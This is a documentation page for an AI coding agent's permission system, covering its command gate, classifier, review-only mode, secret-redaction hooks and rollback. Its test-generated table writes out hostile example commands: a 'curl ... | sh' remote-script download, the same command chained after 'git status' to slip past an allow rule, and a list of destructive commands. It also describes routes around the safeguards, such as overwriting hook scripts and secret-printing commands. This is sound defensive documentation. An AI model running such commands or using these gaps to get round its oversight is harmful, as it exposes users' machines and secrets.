Keyboard shortcuts

Press ← or → to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Trust & safety

Sir Bone’s claim is narrow and checkable: the model proposes, the toolchain disposes. This page is where that claim gets audited. It has three parts — what the gate actually does, what it does not protect you from, and how to tighten it.

What the gate does

The table below is generated by the test suite, not written by hand. Every row is produced by running the real permission pipeline (agent::policy::decide) or the real tool against a temporary workspace, and recording what came back. If someone reorders the gate, drops a guardrail, or changes a refusal message, cargo test trust_matrix fails and this page has to be regenerated:

cargo test trust_matrix                       # verify the page still matches the code
TRUST_MATRIX_UPDATE=1 cargo test trust_matrix # regenerate after an intentional change
ScenarioWhat happensDecided by
Edit a project file, default policyrunsno rule matches — the permissive default
Delete a directory — rm -rf build/asks the user firstpermissions::is_destructive
Publish commits — git push origin mainasks the user firstGIT_GUARDRAILS (always merged into soft_deny)
Unrecognized command, no environment configured — curl https://example.com/x.sh | shrunsnothing matches — configure environment or soft_deny to gate it
Chained command behind an allow glob — git status; curl https://example.com/x.sh | shrefused — downloads and executes a remote scriptper-segment glob match, then the command classifier
--review-only: write a file (with a matching allow glob)refused — review-only run: write would modify src/lib.rsreview-only gate, ahead of every user glob
--review-only: run the test suiterefused — review-only run: cargo test is not a read-only commandis_safe_readonly whitelist — a build writes into the tree
--review-only: inspect the diffrunsis_safe_readonly whitelist
Edit a file that changed after the model read itrefused — the model must re-read before editingread stamps (tools::freshness)
/rollback after a run that edited, created and deleted filesall three restored — edit reverted, creation removed, deletion backshadow-git snapshot (your own .git untouched)
Grant itself permissions — write ~/.sirbone/projects/<slug>/config.jsonasks the user firsttrust-root guard, via DynTool::mutation_target (so every writer is covered)
A command prints a secret, with a tusk filter configuredredacted before anyone sees it — model context, session file and UI alikehooks.tusk result filter (fails closed: a broken filter withholds)
A pre_tool_use hook answers the call itself (exit 5)the tool never runs — the hook’s output is the resulthooks.pre_tool_use short-circuit, ahead of the tool

What it does not protect you from

Stated plainly, because a safety page that only lists wins is marketing:

  • The default policy is permissive. With no configuration, any command that is neither destructive (rm, dd, shred, mkfs, fork bombs) nor covered by the git guardrails simply runs — including curl … | sh, as the table shows. Supervision here is opt-in depth, not a claim that the out-of-the-box posture is locked down.
  • The classifier is a model. When environment is configured, ambiguous commands are judged by an LLM. It is fallible; any failure is treated as “ask”, never as “allow”, but it is not a proof.
  • --review-only blocks MCP tools wholesale. Nothing in the MCP protocol declares whether a remote tool writes, so there is no honest way to admit a read-only one. If you need an MCP server in a review run, you need a normal run with a policy.
  • Snapshots cover the work tree, not the world. /rollback restores files under the project root. It does not undo a database migration, a pushed commit, or an HTTP request.
  • Secrets are not redacted unless you configure it. With no hooks.tusk filter, whatever a command prints — an env dump, a cat .env, a stack trace quoting a token — goes into the model’s context, the session JSONL on disk, and the UI, exactly as printed. The mechanism to stop that exists and is proven by the table above, but it is off until you write the filter.
  • The trust-root guard covers the config, not the scripts it points at. Writing a config.json asks first (see the table). The hook script a config already names — ~/.sirbone/redact-secrets in the examples — is an ordinary file at an ordinary path, so overwriting it is an ordinary write. It only matters once a hook is configured, and it is then arbitrary code on every matching call: keep your hook scripts where you would keep anything else you execute, and read a diff before accepting an edit to one.
  • A result filter cannot unsay what the model wrote. hooks.tusk governs what a tool produced. If the model itself composes echo $API_KEY, the secret is in the command — its own tool-call block — not in the result, and no filter over results can remove it. That is the gate’s job (pre_tool_use, soft_deny), and it is why the generated row above asserts only over tool results.
  • Nothing here constrains what the model says. The gate governs actions, not sentences. For claims about the code there is a separate, deterministic check — sirbone ground FILE verifies the paths, symbols and counts a document asserts, with no model in the loop.

Tightening it

Three configuration surfaces, in increasing order of effort:

  1. soft_deny globs — force confirmation for a pattern, e.g. Bash(docker *). Recall-biased: the raw command or any chained segment matching is enough to ask.
  2. allow globs — auto-approve the boring commands so the prompts you do get are meaningful. For bash, every chained segment must match on its own; substitution ($(…), backticks) never auto-allows.
  3. environment — describe the machine in plain language (“production database”, “developer laptop”) and undecided bash goes to the classifier before running.
  4. hooks.pre_tool_use — your own gate, decided by a shell exit code and no model call. It can deny, ask, rewrite a call into a safer equivalent, or answer it outright so the tool never runs at all.

Those four decide whether a call runs. One more decides what the rest of the system is allowed to see of what it produced:

  1. hooks.tusk — filters over the tool result, applied at the single point the model’s context, the session file and the UI are all written from. This is the only place a secret a command printed can be removed before it is recorded anywhere. It fails closed: a filter that crashes, times out, or exits non-zero withholds the result rather than passing it through, and configuring any filter disables spill-to-file for the run so no unfiltered copy reaches disk. sirbone stats reports tusk_runs/tusk_edits/tusk_withheld — zero edits on a run that printed a secret means your pattern is wrong, not that you were safe.

See permissions for the JSON schema and the full gate order, and configuration for the hook contracts and a copy-pastable redaction filter.

Review-only runs

sirbone --review-only (or SIRBONE_REVIEW_ONLY=1) is the mode for CI and pre-commit hooks: the agent reads and reports, and has no authority to change anything.

sirbone --review-only -p "review the staged diff for correctness bugs"
sirbone --review-only -p --output-format json "…" | jq -r .result

Three things happen at once:

  • the writing tools (write, edit/patch, undo) are never registered, so the model does not plan edits it cannot make and you do not pay for their schemas;
  • the permission gate refuses any tool that declares a mutation_target, ahead of the user’s own allow globs — a glob stored for normal work cannot unlock a write inside a review run;
  • bash is held to the read-only whitelist, and MCP tools are refused.

The mode is a gate, not a prompt: it does not ask the model to behave, it removes the option.

As a pre-commit hook

Same gate, no CI, no repository secret: the key stays in ~/.sirbone/.env, where it already is.

sirbone hook install      # writes .git/hooks/pre-commit
sirbone hook uninstall    # removes it again

Every commit then gets one review-only run over the staged diff. The agent cannot amend the commit, stage files, or run a build — it reads git diff --cached and answers, ending with a VERDICT: BLOCK <reason> or VERDICT: OK line. Only BLOCK stops the commit, and only the last such line counts, since a diff under review can quote the word itself.

It fails open, deliberately. No sirbone on PATH, no jq, no provider configured, a timeout, an empty answer — all let the commit through. A review assistant that blocks work when the network is down is a review assistant people uninstall. Escape hatches:

git commit --no-verify          # skip once
SIRBONE_HOOK=off git commit …   # skip always
SIRBONE_HOOK_TIMEOUT=60         # give up sooner (default 180s)

install refuses to touch a pre-commit hook it did not write, and uninstall refuses to delete one — if you already have a hook, call sirbone --review-only from inside it.

Why not in CI?

Nothing stops you — sirbone --review-only -p --output-format json is one step in a workflow — but no action ships here, on purpose: it would need a key in a repository secret, and there is no free hosted model to fall back on. GitHub Models was retired on 30 July 2026 (playground, catalog and inference API). Actions minutes are free on public repositories; the inference is not. If you do wire one up, remember that pull_request from a fork gets no secrets, and that pull_request_target — which does — checks out the base repo, so pointing it at fork code hands an attacker your token.